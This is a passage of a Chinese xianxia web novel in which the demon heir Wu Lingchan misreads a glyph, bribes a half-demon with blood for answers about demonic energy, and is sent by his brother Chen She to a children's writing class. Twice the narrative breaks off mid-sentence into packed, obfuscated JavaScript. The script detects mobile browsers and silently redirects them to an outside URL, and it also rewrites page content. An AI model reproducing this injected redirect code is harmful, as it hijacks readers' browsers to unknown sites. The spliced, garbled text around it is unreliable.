尘赦伸手轻轻在乌令禅散乱的乌发一抚,撩起颈侧散乱的一绺发,朱砂的“视线”落在乌令禅雪白的脖颈。 「乌」字印。 尘赦问:“为何会觉得是阿兄想杀你?” 江争流的撺掇,或他归来便是为了魔君之位,亦或是从其他长老之事推断出的危机感? ——无论哪一种,都令尘赦不悦。 尘赦等待乌令禅给他答案。 乌令禅没感觉脖子上那只手的杀意,索性和他摊牌:“那些魔兽身上分明印着阿兄的字,不是你派他们来杀我的还能是谁呀?” 尘赦:“…………” “什么字?” 乌令禅不假思索:“尘字——和荀大人身上一样一样的。” 尘赦放在乌令禅脖颈上的手一顿,身侧寒霜悄无声息消散。 丹枫树上霜意融化,水滴悬在血色枫叶间。 尘赦操控灵力将一只魔兽残骸的眼珠挖出来,拂去血液放置乌令禅面前,让他看。 乌令禅看看眼,看看荀谒脖颈的印,又看看眼。 尘,茔。 尘赦温声问:“认识吗?” 乌令禅脸上写满“别想骗我”,说:“分明一样。” 尘赦:“…………” 6.那紫雾是魔炁啊 荀谒震惊。 荀谒释怀。 荀谒终于明白尘君那句“高看他了”是从何而来。 还野心,这孩子恐怕连“野心”俩字都不知道怎么写。 这两个字形本就像,加上符纹龙飞凤舞,以乌困困的眼力和对魔族的贫瘠学识很难分辨这俩字具体的区别。 不过那符纹一个飘逸如风,一个杀气腾腾,视觉上还是很有差别。 乌令禅歪头瞅了半晌,又薅着荀谒的衣领将他往下拽,捏着眼珠,一一对比。 荀谒见尘君没反对,敢怒不敢言地弯下腰任由他看。 好一会,乌令禅:“哈哈哈。” 这事儿闹的。 荀谒皮笑肉不笑:“少君流落仙盟这些年,恐怕吃了不少苦头吧。” 乌令禅没听出来讥讽,咳了声,准备挽回点自己聪明的形象:“没有啊,他们都叫我天运之子,各大榜首皆是我,天骄从不吃苦。” 荀谒:“……” 荀谒“哈”了声。 算了,他和连字都不认识的笨蛋较什么劲。 误会解除,乌令禅看阿兄又哪儿哪儿都顺眼了,也不觉得尴尬,眼巴巴地挨过去。 “阿兄,我还没见过魔兽内丹呢,能给我,唔,长见识吗?” 尘赦淡淡道:“伸手。” 乌令禅忙将两只爪子拢起来往上递,像是只讨食的松鼠,眼巴巴看着尘赦。 任谁看到这个眼神,恐怕他要天边星星恐怕也没人拒绝。 ……尘君眼瞎。 尘赦捏着金链,将乌令禅滚爬间掉落的金铃放在他掌心:“收好——这不是装饰,日后遇到危险便抛出去,或晃一晃,我若在附近,即刻便至。” 乌令禅点头如捣蒜,还在捧着手等待。 尘赦像是没看到他的爪子,“视线”环顾四周的断壁残垣:“明日会有人来重建丹咎宫,先随我回辟寒台休憩。” 乌令禅:“?” 乌令禅十指弯曲着抓了两下,迷茫看着他。 不给内丹吗? 他藏不住心事,又不死心地问了句。 魔炁向来为尘赦不喜,魔墟很少有人敢在尘君面前提。 见尘君三番四次婉拒,这孩子还不死心,荀谒没忍住:“……内丹中蕴含之物是昆拂禁物,少君还莫要过问为好。” 乌令禅疑惑。 禁物? 尘赦耐心告罄,拢着衣袍离开:“跟上。” 乌令禅思忖再三:“丹咎宫没塌完,还……还能再住呢,就不去叨扰阿兄了。” 尘赦也没回头,淡声丢下两个字。 “随你。” 荀谒快步跟上,又回头神色古怪地瞅了乌令禅一眼。 尘赦面容如常,可他跟随主上多年,察觉到尘君极其不悦。 是为魔炁? 等到两人消失丹咎宫,乌令禅忙不得地跑去魔兽残骸里扒拉,妄图能找到一丝没被尘赦收走的紫雾。 可惜尘赦灵力太强,紫雾半点不剩。 乌令禅灰头土脸地盘膝坐在废墟中,搂过一绺长发一边编小辫一边试图思考。 能将破碎的金丹转瞬恢复如初的东西,怎么能被归为“禁物”? 称之为“仙气”都不为过! 不行,他非得再从哪儿找一丝紫雾试试看不可。 刚想着,识海中忽然冒出一道熟悉的声音。 “……小心。” 乌令禅一喜:“墨宝!你醒了?!” 玄香似乎想骂他一顿,但他实在虚弱,只说出两个字便再次没了动静。 那紫雾的确有用,只是一绺玄香竟然有醒来的苗头。 不对。 墨宝说什么,小心? 乌令禅呼吸下意识屏住,视线缓慢扫视周围。 丹咎宫崩塌而飞溅的灰尘早已散去,静谧夜色,几块石头砸落到地上的声音显得越发震耳。 废墟中,一个漆黑的影子缓缓踩着碎石走出来,野兽的低吼声响起。 乌令禅:“……” 尘赦出手,竟还有个漏网之鱼?! 乌令禅手一抖,刚编好的小辫脱手,游蛇似的散开。 他果然还是天运之子,要什么来什么。 一群魔兽他打不过,一只还不是手到擒来? 看着那魔兽逐渐从黑暗中走出,乌令禅撸好袖子准备弄它,可视线落在魔兽身上,微微一愣。 从黑暗中走出的,是个人。 或许不能称作为人,“他”衣衫破破烂烂,散乱打结的发间长着两只弯曲的羊角,野人似的落魄脏污。 乌令禅“噫”了声。 半魔? 半魔、半妖这种生物为世人所不容,人族排斥,妖魔两界也不认,灵力微弱,卑贱地苟活在最底层。 因为谁都能轻轻松松按着他们打,所以存活下来的数量并不多。 这只半魔面容脏污还带着血,背后肩头甚至还插着两根断箭,刺入骨血——或许因为没有人帮他拔,伤口无法愈合,箭已生锈了。 半魔用浑浊的眼睛瞪着乌令禅,却像是被什么吸引一步步试探着走到乌令禅的十步处。 乌令禅刚要拔刀,就见那半魔跪在地上……舔起地上的血。 乌令禅:“?” 方才乌令禅被啃了一口,小腿伤处的血流了几滴在地上。 乌令禅:“……” 半魔舔了几口,又很快抬头瞪着乌令禅,似乎在护食。 乌令禅眼眸一眯,敏锐地察觉到半魔身上似乎沾染了些紫雾。 半魔似乎是跟着那些魔兽一块来准备捡些残羹冷饭吃的,魔兽懒得搭理他,修为更是弱到尘赦都不屑杀他。 乌令禅放心了,抬腿走了过去。 半魔头发都炸起来了,眸子竖成兽瞳,爪子扒拉着剩下几滴没舔完的血,愤怒地就要龇牙咬他。 “啪。” 乌令禅一巴掌扇过去。 半魔脑袋歪到一边,凶恶的眼神似乎都清澈了。 乌令禅咬破指尖,将一滴血在他面前一晃,挑眉道:“听我的话,我给你新鲜的血。” 半魔忌惮地看他。 乌令禅后知后觉自己说了三界通用语,正要用昆拂语重说,却听半魔直勾勾盯着他,哑声道:“你、不杀、我?” 乌令禅眉梢一挑。 这半魔竟会三界通用语?这就好办了。 “闲着没事儿杀你干什么?”乌令禅盘膝坐在他跟前,“过来,问你件事。” 半魔沉默良久,盯着乌令禅指尖的血喉结微微滚动:“什么?” “这说来话长。”乌令禅嘚啵嘚啵,“此事要从一年前说起,我奉师尊之命前去蓬莱洲收服一只妖兽,但那玩意儿使出招式皆是魔修的招数,像是被魔夺舍了,且我明明没中招,回去后金丹却破碎了。不能重塑更无法碎功重来,我只好以炼气修为出入各地寻找重塑金丹的灵草。第一次重塑内丹时……” 半魔:“……” 这人八百辈子没说过话吗? 半魔死死盯着侃侃而谈的乌令禅,眸瞳缓慢露出一抹寒光,在乌令禅说到第五次重塑金丹有多凶险时,忽地朝着他的咽喉扑过去要吃他。 “啪——!” 乌令禅又是一记耳光扇过去,不悦道:“好没礼貌,你到底有没有在听我讲话?刚才讲到哪儿了,又得从头讲。” 半魔:“……” 半魔没什么灵力,身躯像魔兽强悍,不过刺入他背后的箭深入骨血,一动就钻心的痛,让他行动困难。 接连挨了两个耳光,半魔消停了点,忍气吞声地蹲坐在那听他念经。 乌令禅说昆拂语都是一个字一个字往外蹦,如今可算能说尽兴,足足两刻钟后才终于说到正事儿。 “你知道魔兽身上的紫雾是什么吗?” 半魔顶着三个错落有致的巴掌印,已彻底安分了,像只狗蹲在那,满身兽性,冷冷道:“魔、炁。” “魔炁?我阿兄说是禁物,为何被禁?”乌令禅赶紧问,“从哪里能得到更多的魔炁?” “魔炁为魔兽修炼所用,兽丹内皆有——魔炁多的地方,要么是虚空缝隙泄露,要么是枉了茔血海。” 乌令禅若有所思。 怪不得尘赦将魔兽的内丹都收走了。 枉了茔不是什么好地方,虚空裂缝若出现必然伴随着魔兽,更不是炼气期能对付的。 乌令禅左思右想,觉得还是从尘赦那的魔兽内丹入手最为保险。 起码阿兄不会杀他。 问罢,乌令禅拍了拍衣袍站起身。 半魔浑身一僵,咬紧牙关下颌崩得死紧,显得凶悍的面容更加冷厉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968518|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>无论昆拂墟还是三界各州,卑贱的半魔是灾祸的象征,如过街老鼠人人喊打,只能躲在阴沟里苟且偷生。 他从三界一路逃窜至昆拂,数十年早已学会了像丧家之犬般避着人活着。 今日却要因为几滴血丢了性命。 半魔身躯微微颤抖。 他不甘心就这么去死…… “我都告诉你了。”半魔狠狠咬着牙,近乎乞求地低声道,“你能……” 话还未说完,一只手缓缓朝他脖颈探来,带着一股点心的香甜味儿。 那一刹那,半魔几乎以为这只修长如玉的手会将他的脖子扼断,让他的尸身像野狗一样曝尸荒野。 忽地,那温热的指腹在半魔唇角轻轻一蹭:“张嘴。” 半魔跪在地上,被迫扬起头颅张开嘴。 从他的视线望过去,面容还带着稚色的少年站在丹枫树下,眉眼如画,五官漂亮得几乎不似真人。 半魔竖瞳一颤。 乌令禅居高临下望着他,将指尖悬在半魔脸上三寸,指腹轻轻一动。 一滴血垂直落在半魔舌尖,纯血魔族的血液化为一道热意滚入他的喉中。 将许诺的报酬给了他,乌令禅道:“好啦,你可以走了。” 他着急去辟寒台探阿兄口风,正要撒腿跑,却听一直没吭声的半魔忽然道:“你为什么不杀我?” 乌令禅脚步一顿,红袍猎猎好似融在夜色丹枫中。 “啊?我该杀你吗,这是昆拂的规矩?” “我是半魔!”半魔眼眶似乎气红了,“知道半魔是什么吗?别人见到我,都会嫌脏,随手杀了的。” 乌令禅将他上下打量,点头:“的确挺脏的,快找个地儿洗澡吧——你知道自己都臭了吗?” 半魔:“……” 半魔心神激荡,死死咬着牙,从未体会过的情绪在胸膛炸开。 这人……是傻的吗? 乌令禅惦记着魔兽内丹,不想和他多说,赶紧颠颠地往辟寒台跑。 半魔跪坐在原地,愣怔望着远方。 乌令禅哼着小曲裾袍翻飞,嗒嗒跑过两侧皆是丹枫的长廊,错落的光影落在少年眉眼上,漂亮的惊人。 废墟之上,枫叶纷扬落下。 *** 辟寒台终年落着雪。 内殿中并无床榻,最中央有座玉台,四边垂着雪白丝绸画卷,上方画满密密麻麻的符纹。 尘赦坐在最中央打坐,眉眼出诡异的符纹好似游蛇微微扭曲。 四周飘浮着数颗魔兽内丹,从中飘出丝丝缕缕的紫雾,旋转着在尘赦面前凝出一枚诡异的紫丹。 随着丹成,魔兽内丹毫无灵力支撑,簌簌化为齑粉消失。 尘赦伸手将紫丹捏在掌心,神情冷淡而厌恶。 尘赦五指一拢,数十个内丹凝出的魔炁瞬间破碎,灰色粉末从指缝流了下来。 一旁护法的荀谒:“……” 尘赦冷淡道:“心疼?” 荀谒不敢说谎,避重就轻道:“这些年,在大长老庇护下江争流用得来的魔炁赚得盆满钵满,千年琼浆液那种好东西都能用来给少君沐浴……” 尘赦缓缓笑开了:“既然觉得浪费,下次的魔炁全赏给你可好?” 荀谒脸色一白,直接跪下了:“属下绝无此意!” 尘赦看也没看他,吩咐道:“让伏舆去一趟彤阑殿取魔君半印——从明日起,再有人妄图用魔炁,或私下交易者,杀。” 辟寒台内皆是肃杀之气,荀谒瞧出尘君心情不愉,不敢违抗。 “是。” 就在这时,殿门似乎被人挠了下,熟悉的声音从门缝里飘进来。 “阿兄阿兄阿兄阿兄阿兄……” 尘赦:“……” 荀谒拿捏不准尘君对少君的态度,犹豫着看向他。 尘赦没什么神情,似乎没听到外面的叽喳声。 ……可荀谒总觉得尘君心情似乎好了些。 乌令禅一路跑过来,兴奋劲儿还没上头就被辟寒台的大雪吹了个魂飞魄散,他没穿披风,哆嗦着蹲在殿门口挠门。 “阿兄,外面好冷,我能进来住一晚嘛?” 听到这话,尘赦笑了声,终于淡淡开口:“丹咎宫不是没塌完还能住吗,为何还来叨扰阿兄?” 乌令禅:“…………” 7.入学四琢学宫 乌令禅装作听不懂:“阿兄阿兄阿兄阿兄!” 吵闹个不休。 尘君喜静,辟寒台从未有如此不着调的声音。 荀谒心都提到嗓子眼了,试探地观察尘赦的反应。 尘赦并未觉得烦躁,听着乌困困在外面精力旺盛的挠门声,忽然道:“他为何想要魔兽内丹?” 荀谒一愣,一时不知怎么回答,只能斟酌着道:“今日江争流同他说话时在丹咎宫布了结界,少君修为才炼气,也许是拿魔炁撺掇了少君也说不准,毕竟魔炁这种能让人修为一步升天的东西,谁都想要。” 乌令禅:“阿兄阿兄阿兄!” 尘赦笑了声:“撺掇一个连字都不识得的傀儡少君与我为敌,江争流是老糊涂了吗?” 尘君瞧着和颜悦色,荀谒却惊得不敢说话,偌大辟寒台只能听到挠门声和那越来越哆嗦的“阿兄阿兄”。 好一会,尘赦终于道:“将偏殿收拾出来吧。” 荀谒悄无声息吸了口凉气。 “是。” 荀大人心中掀起惊涛骇浪,面上不显,恭敬地正要退去,又听尘赦开口了。 “再去帮我做件事。” 乌令禅蹲在辟寒台大殿门口,门都要挠烂了,终于听到里面传来脚步声。 门吱呀一声打开。 乌令禅脸被冻得微红,满怀期待地抬头望去。 一看来人是荀谒,脸又垮起来了:“怎么是你,阿兄呢?” 荀谒一言难尽望着他:“请少君随属下去偏殿。” 乌令禅眨了眨眼:“为什么要去偏殿?我要和阿兄一起住,少君住主殿。” 说着,他爬起来就要往里冲。 荀谒:“……” 荀谒就没见过敢擅闯辟寒台的,赶紧揪着他的后领拦住他,低喝道:“放肆!尘君住处怎能无召擅入?你不要命了吗?!” 乌令禅个矮,被揪起来双足悬空蹬了几下,生气地说:“你才放肆!今日才说我金尊玉贵,现在就敢揪我的尊贵后领,不要命了吗?!阿兄!” 荀谒:“……” 荀谒唇角抽动,将他撒开了。 乌令禅轻巧落地,赶紧往里跑。 只是还没迈进门槛,大门就砰的阖上,他险些一头撞上去,被荀谒拽着往后退了半步才保住尊贵的脑袋。 大殿内传来尘赦淡淡的声音:“别胡闹,回去休憩。” “没闹。”乌令禅说,“下雪,好冷,阿兄让我进去吧。” 大殿内静了一瞬,好一会门才缓缓打开。 乌令禅一喜。 殿内飘来一件厚重的毛领斗篷,砸在乌令禅脑门上。 门又关上了。 尘赦道:“去吧。” 乌令禅:“……” 乌令禅撇撇嘴,将衣袍扒拉下来往荀谒怀里一丢,终于不再试图往里闯。 荀谒不明所以捧着斗篷。 乌令禅背对着他,思绪翻飞。 虚空缝隙、枉了茔这三条路走不通,唯有阿兄手中的魔兽内丹算突破口,要怎么能亲近尘赦,讨一颗内丹回来研究研究呢。 硬闯不行,那怀柔呢? 正想着馊主意,寒风呼啸着吹拂而来,冻得他狠狠打了个喷嚏。 乌令禅回头看向荀谒,嫌弃他笨:“你在干什么,没看到我冷吗?” 荀谒后知后觉到乌令禅递斗篷、背对他是什么意思,当即被气笑了。 他阴恻恻注视着乌令禅,妄图用杀气震慑,让此人收回这个危险的念头:“少君什么意思?” “你是我阿兄的属下,我又是少君。”乌令禅刀枪不入,用一种“这你还要问?”的神情瞥他,“你说过的,我尊贵,不是吗?” 荀谒:“……” 荀谒狞笑着道:“少君之尊,一人之下万人之上,自、然、尊、贵。” 乌令禅点头:“既然如此,你难道不该感恩戴德地伺候我吗?我给你这个荣幸,来。” 荀谒:“…………” 荀谒惊住了。 ……更可怕的是,乌令禅如此理所应当,他竟然差点被说服了。 荀谒嗖嗖放冷气,试图让杀气吓退此人。 乌令禅心说魔族长相好凶呀,要不是他尊贵,都要以为此人想杀自己了。 幸好他是少君。 荀谒:“……” 荀谒深深吸了一口气,强压下胸中的戾气。 尘君待少君态度不明,稳妥起见还是莫要得罪。 荀谒面无表情展开斗篷,弯下腰来为尊贵的少君披衣。 尘赦的衣袍带着一股淡淡的茶香,披在肩上将四周寒霜一震,温暖如春。 乌令禅连个谢都不道,抬步就走——没让荀谒给他道谢已经是少君开恩,雪白斗篷和红枫裾摆在风雪中翻飞,好似在冰天雪地盛放的花。 荀谒面无表情地为他引路去偏殿。 偏殿同辟寒台正殿截然不同。 门窗符纹隔绝寒意,殿中布置奢靡,处处精致,榻边燃着熏香,一棵丹枫盆栽置在袅袅雾气中。 荀谒大概怕少君又让他更衣,将人带到偏殿赶紧跑了。 乌令禅折腾一整日,一见了床,那无灵力支撑的身躯瞬间涌上来一股疲乏,他打着哈欠走到辟尘珠边转了两圈,这才爬到榻上。 魔兽内丹之事,不急于一时,明日再说。 辟寒台偏殿温暖如春。 乌令禅是个难伺候的人,本来还挺认床,但不知为何在这偏殿倒是熟悉得很,睡意刚泛上来,很快就睡得起仰八叉,没有丝毫不适。 昏昏沉沉间,他又梦到了年幼时的场景。 只是那时太小了,记忆残缺不全,连梦中人的脸都看不清楚。 似乎是在丹咎宫。 乌困困盘膝坐在桌案前,笨手笨脚地拿着笔在画卷上划拉。 “尘……”乌困困脸上带着几点墨,奋力写了个歪七扭八的尘字,高兴地回头看去,“我写啦,要铃铛。” 有人坐在他身后,高大的身形甚至能将乌困困塞袖子里偷走。 乌困困感觉背后的人轻轻笑了声,接着一只温热的手缓缓拢住他的爪子,带着他又重新写了个字。 “这才是‘尘’。” 乌困困歪着脑袋看,不明白这俩字有啥区别。 但他好累,不想写,只好熟练地撒泼:“我写了,阿兄不能说话不算话,要给我铃铛!” 尘赦又笑了:“字不会写,耍赖倒是无师自通。” 乌困困听不懂“无师自通”,但直觉不是什么好话,闷闷不乐地往后靠在尘赦怀里,瘪着嘴嘟囔道:“那怎么样才给我呀?” 尘赦带着笑的声音传来。 “只要你听话些……” 笃笃。 有人在敲门。 乌令禅还在梦中,被吵闹声惊得不耐烦地翻了个身,满头长发胡乱铺在榻上,抱着枕头正要继续睡。 外面敲门声更起劲了。 “少君,该醒了。” 乌令禅被接二连三吵醒,迷迷瞪瞪睁开眼,坐在榻上呆滞好一会,脑子里飞快闪过。 秘境,魔兽,阿兄,魔炁…… 魔兽内丹! 乌令禅腾地爬起来,瞬间精神抖擞。 幼时尘赦喜欢他听话,那他就狠狠听话。 尘赦一高兴,岂不是自己要什么就给什么?! “少君?” “进来吧。” 门安静了一瞬。 荀谒似乎不想进来,但想起尘赦的吩咐只好不情不愿地推门而入。 乌令禅赤着脚下床,乌发如墨披散着,流水似的逶迤至地上,熟练地指使荀谒:“过来为我穿衣,我要去见阿兄!” 荀谒:“……” 荀谒沉默片刻,微微一笑,竟真的上前为少君穿衣。 荀大人的灵力从来只用来杀人,屈指一弹将乌令禅手中的衣袍拂去,反倒从自己储物戒拿了套崭新的嫩黄和淡粉相间的衣袍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973111|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >乌令禅不喜欢太寡淡的东西:“这身不好看,我要穿最漂亮的。” ……最好是阿兄看了能瞎眼复明,当即高兴地大手一挥,大方地塞给他一堆魔兽内丹让他随便玩儿的那种漂亮。 荀谒将外袍披在乌令禅肩上,温和地说:“这是四琢学宫的宫服,也漂亮,您瞧,和少君多搭啊。” 乌令禅好奇:“四琢,学宫?” “是,属下送少君前去学宫学习。” 乌令禅蹙眉:“可我想见阿兄。” “这便是尘君的意思。” “学宫不好。”乌令禅赶紧说,“小时候阿兄教我写字,现在也能教,我乖乖的,一天能写八百字。” 荀谒道:“尘君忙碌,今日不在辟寒台,晚上才回来。” 乌令禅眉头越皱越紧,很快就将自己说服了。 他金丹破碎一年多了,也不差这一时半会,如今还是尽量听尘赦的话,找机会用三寸不烂之舌把魔兽内丹骗来。 若要用口才,他也该去学宫学习,否则说话磕磕绊绊,还闹笑话。 乌令禅松口:“好吧,好吧。” 荀谒笑了,抬手将大鸢招来,恭敬请少君上座。 - 整个昆拂墟最负盛名的学宫便是主城的四琢学宫。 主城禁止御风而飞,乌令禅坐着大鸢过去时,下方众魔皆仰着头诧异望着,七嘴八舌地低语。 “荀谒大人的巨鸢?” “听闻苴浮君的幼子昨日醒了,恐怕载着的就是他。” “嘶,尘君脾气如此好,竟还让他活着?” “四琢学宫分为四学斋。”荀谒立在巨鸢背上,风将他的衣袍吹得猎猎而动,注视着脚下的学宫为乌令禅解释,“养晦、聚德、雕玉、出锋,越靠后学斋的弟子天赋越高,也越受尘君器重——如今「出锋学斋」的魁首是十七岁便结丹的池敷寒,说是天纵奇才也不为过。” 乌令禅“哇”了声:“阿兄爱我,那我岂不是可以直接去「出锋学斋」当奇才?” 荀谒又笑了。 乌令禅满脸狐疑。 从今早荀大人就不太对劲,昨日面无表情,今日倒是笑脸相迎。 “那「雕玉学斋」?” 荀谒但笑不语。 乌令禅眉头越皱越紧。 他在仙盟得榜首得习惯了,本能就要去最厉害的学斋。 「出锋」不行,「雕玉」也勉为其难可以。 ……再往下他可就不乐意干了。 很快,巨鸢飞至四琢学宫上空,展翅飞落。 学斋内布置清雅,参天大树郁郁葱葱,林间小道蜿蜒曲折,隐约可见亭台,古朴学斋两侧种着几丛竹,碧盈盈的冒着绿叶。 乌令禅环顾四周。 学斋中不该空地极多,适合学生在演武场比试切磋吗。 怎么这地儿如此雅致? 正想着,就听到那悬挂着竹帘的斋舍传来脆生生的吵闹声,叽叽喳喳,小鸟似的。 乌令禅眼皮轻轻一跳。 荀谒侧身,笑着道:“少君,请。” 微风拂来,将竹叶吹拂得沙沙作响。 从半挂的竹帘望去,就见几排四五岁的孩子穿着黄粉相间的宫服,乖乖地坐在小矮桌前,一本正经地抓着毛笔在练字。 乌令禅:“?” 唯一一个成年人是首位的长老,正抚着胡须懒洋洋坐在那。 “孩子们,横平竖直要记准,今日写一百个横,明日就能写竖了哦。听老师的话,不出十年,你们都能进「养晦学斋」。” 十几个孩子高高兴兴地答:“好哎!” 荀谒道:“这是四琢学宫专为六岁以下的孩子设的「丰羽小斋」,最适合启蒙——从今往后,少君就在这里学认字了。” 乌令禅:“……” “尘君还交代,让少君将‘尘’字写一百遍,晚上交到辟寒台。” 荀谒交代完,大笑着扬长而去。 乌令禅:“…………” 8.歹毒的心机 丰羽小斋。 乌令禅被五长老引到最后一排的矮案前坐下。 丰羽小斋从未有过这么大的“孩子”,一时没来得及准备新桌案,乌令禅盘膝坐在那,膝盖轻轻一动都能将小案顶到天上去,别提多憋屈了。 众学子好奇地回头看他,满眼天真纯澈。 乌令禅倒没觉得有多丢人,还挑着眉吓他们:“看什么看?再看把你们全吃了!嗷!” 孩子们“呜哇!”一声,不敢看了。 五长老:“…………” 五长老就当没看到,继续教孩子们写横。 乌令禅只是不太懂昆拂的字,其余的如何书写还是知晓的,他懒得打基础,直接自信地拿着笔在纸上划拉。 五长老背着手看了一圈,“唔”了声:“少君这是在画符?” 乌令禅:“……” 乌令禅将“尘”字揉了扔在一边,开始规规矩矩写横。 半个时辰后,五长老去休息,满学斋的孩子顿时小麻雀似的,三五成群地挤在一起,一边吃点心一边瞅着乌令禅窃窃私语。 “好大的孩子,他好高!” “他真的会吃了我们嘛?” 乌令禅支着下颌扫了一眼,抬手一招:“过来,你们的点心拿来我尝尝。” 众麻雀:“……” 乌令禅眯了眯眼睛:“我是少君,我尊贵。” 孩子不知道什么是少君,只知道尊贵不能换点心。 乌令禅哼笑了声,将毛笔蘸着墨汁在手指箭转了几圈,大笔一挥在纸上画了几只麻雀。 虽说只有炼气期修为,但让鸟雀化形的能力还在。 一群孩子就眼睁睁看着纸上的鸟雀忽然啾啾几声,竟然脱画而出,展翅飞了起来。 “哇——!” 等五长老回来继续授课时,就见满书斋乱飞的小鸟、蜻蜓、蝴蝶,学子兴奋不已,角落中乌令禅满桌子点心,其中还有几颗金元宝。 五长老:“……” 乌令禅一边吃一边练字。 他决定要写满一千个漂亮潇洒的「尘」字,狠狠给阿兄一个惊喜,再卷着魔兽内丹满载而归。 等他将魔炁研究透彻,成功恢复金丹唤醒墨宝,在蓬莱盛会按着孟凭报仇雪恨,重回天骄榜榜首,风光无限。 甚妙甚妙。 乌令禅喜滋滋写着,忽地敏锐地察觉到一股不详的冷意。 他眉头一蹙,本能地持笔在指尖旋转两圈,两指捏住笔杆朝着一个方向一指,笔尖墨痕并未滴落,而像在水中化开般飘浮半空。 五长老:“……少君?” 乌令禅定睛一看,墨痕所指竟是五长老的面门,他一抖,墨痕倏地散开,直接泼了五长老满脸。 乌令禅:“……噫?” 乌令禅手忙脚乱地将笔放下:“长老怎么冲到我笔下,怎么这么不小心呢?万一我用的剑,你就死啦。” 五长老:“……” 还倒打一耙?! 满室小崽子见长老这幅鬼样,全都鸟雀似的啾啾大笑。 五长老满脸黢黑,墨痕根本擦不掉。 可少君就算毫无实权,也并不是他能责罚的,只能强忍着唇角抽了抽:“少君,这墨……” “玄香的墨一般用来标记,寻常东西洗不掉。”乌令禅给了他一个“放心吧!”的眼神,安慰道,“不过只要三个月,墨痕就能自然消失啦,到时长老还是白的。” 五长老:“……” 不过五长老一走,乌令禅那种被什么诡异东西盯着的感觉仍然在。 他皱着眉环顾四周,上次有这种感觉,便是昨晚丹咎宫裂开虚空缝隙、魔兽伴随着魔炁爬出来的时候。 乌令禅眸瞳一眯。 丰羽小斋所有鸟雀悉数发出整齐划一的啼叫,似是威慑。 仙阶法器饶是器灵破碎,仍蕴含灵力,很快那股被注视着的感觉悄无声息的消失。 乌令禅若有所思。 荀谒说丹咎宫有结界,不该出现虚空裂缝,可他入住第一晚便出现问题,回想起那些魔兽和半魔的异样…… 难道是血? 也是,天运之子、魔墟纯正血统,合该被人追逐觊觎,是命数。 乌令禅也不觉得被盯上骨血之事值得惊慌畏惧,继续下笔写尘,让阿兄追捧他。 五长老被少君泼了满脸墨,怕是三个月都见不得人。 晌午新的师长前来授课。 乌令禅咬着笔头的绳子努力写尘,听到小崽子叽叽喳喳地欢呼,微微抬起头,眉梢轻轻一挑。 新师长竟是江争流。 “江长老!是大斋的江长老!” “江长老来教我们了!” “那我们是不是也是大斋啦?” 江争流一袭白衣气度儒雅,那副翩翩君子模样很受幼崽欢迎,全都眼睛亮晶晶崇敬望着他。 江长老彬彬有礼地颔首。 教导四琢学宫出锋学斋那些天之骄子的师长,来丰羽小斋简直大材小用,好在江争流脾气好,温温和和地指导横要怎么写才能更直。 乌令禅闷头写字。 江争流走到他身边,注视着那歪七扭八的「尘」字——时不时夹杂着几个「茔」,唇角轻轻勾了勾。 丰羽小斋申时一刻放学。 乌令禅将桌案上没吃完的点心塞袖子里,卷起写好一百字的「尘」字,振臂一呼:“少君回家了。” 小斋的幼崽们忙跪地高呼:“尊贵!恭送少君斋长大王——!” 江争流:“…………” 江争流失笑,抬步走出丰羽小斋。 乌令禅坐在小斋院中的亭台等荀谒来接他,夕阳未出,光仍然强烈,透过层层绿叶的光影落在脸上,瓷玉般好似画中人。 江争流缓步上前,笑着道:“少君修为已是炼气,为何会小斋同这些孩子玩闹到一起,是尘君安排的吗?” ……江长老一张口就是精心高明的挑拨离间。 乌令禅没听出来。 “你是出锋学斋的老师,为何来小斋,是我阿兄安排来的吗?” 江争流:“……” 江争流见谁都自带三分笑意,温和道:“只是暂代罢了。这段时日,出锋学斋的学子都在后山狩猎魔兽,我正好空闲着。” 乌令禅眼睛一亮:“魔兽?那岂不是有魔炁?” “少君想要魔炁涨修为?” “没有啊,我只是想看看内丹长长见识。” 江争流眸瞳暗涌。 才刚回昆拂三日,已在遮遮掩掩打听魔炁之事了。 好大的野心。 江争流本怀疑乌令禅昨日举止皆是误打误撞,是他想多了,可清晨便传来少君不知用了什么法子,竟然直接入住辟寒台偏殿。 这十年来,昆拂无数派系用尽无数法子往辟寒台塞人,却从无一人成功过。 乌令禅只用了一晚便光明正大住进偏殿。 小少君果然是扮猪吃老虎,计谋颇深。 也是。 苴浮君和尘赦都是心思深沉之人,更何况是乌令禅。 “不是。”江争流道,“只是学宫后山用作学子历练的魔兽,并非枉了茔的那些凶兽,内丹不会有魔炁。” 乌令禅失望地“啊”了声,但也来了兴致:“魔炁到底是什么呀?” “枉了茔血海之物。”江争流像授课似的,文绉绉的,“兽潮被封数千年仍伺机而出,连天道所布的结界都能撞出缝隙,皆是用魔炁修行之缘故。” 丰羽小斋只上了一日课的乌斋长似懂非懂。 啥啥缝隙,修行的。 江争流笑着说:“若是魔炁能够为昆拂魔修所用,说不定早将仙盟纳入囊中。” 这句乌令禅听懂了,不过他不太明白:“你只是长老,想这些干嘛,这是我阿兄该担心的事吧。” 江争流:“……” 被当着面骂“狗拿耗子”,江争流依然面色不改:“少君难道不想修为早日突破筑基?” “筑基算什么,我要突破元婴。” “……好志气。”江争流更肯定了他的野心,“最近枉了茔的缝隙越发多了,我倒是能寻些凶兽内丹给您瞧瞧……” 乌令禅诧异望着他,怀疑自己听错了。 人这么好吗? 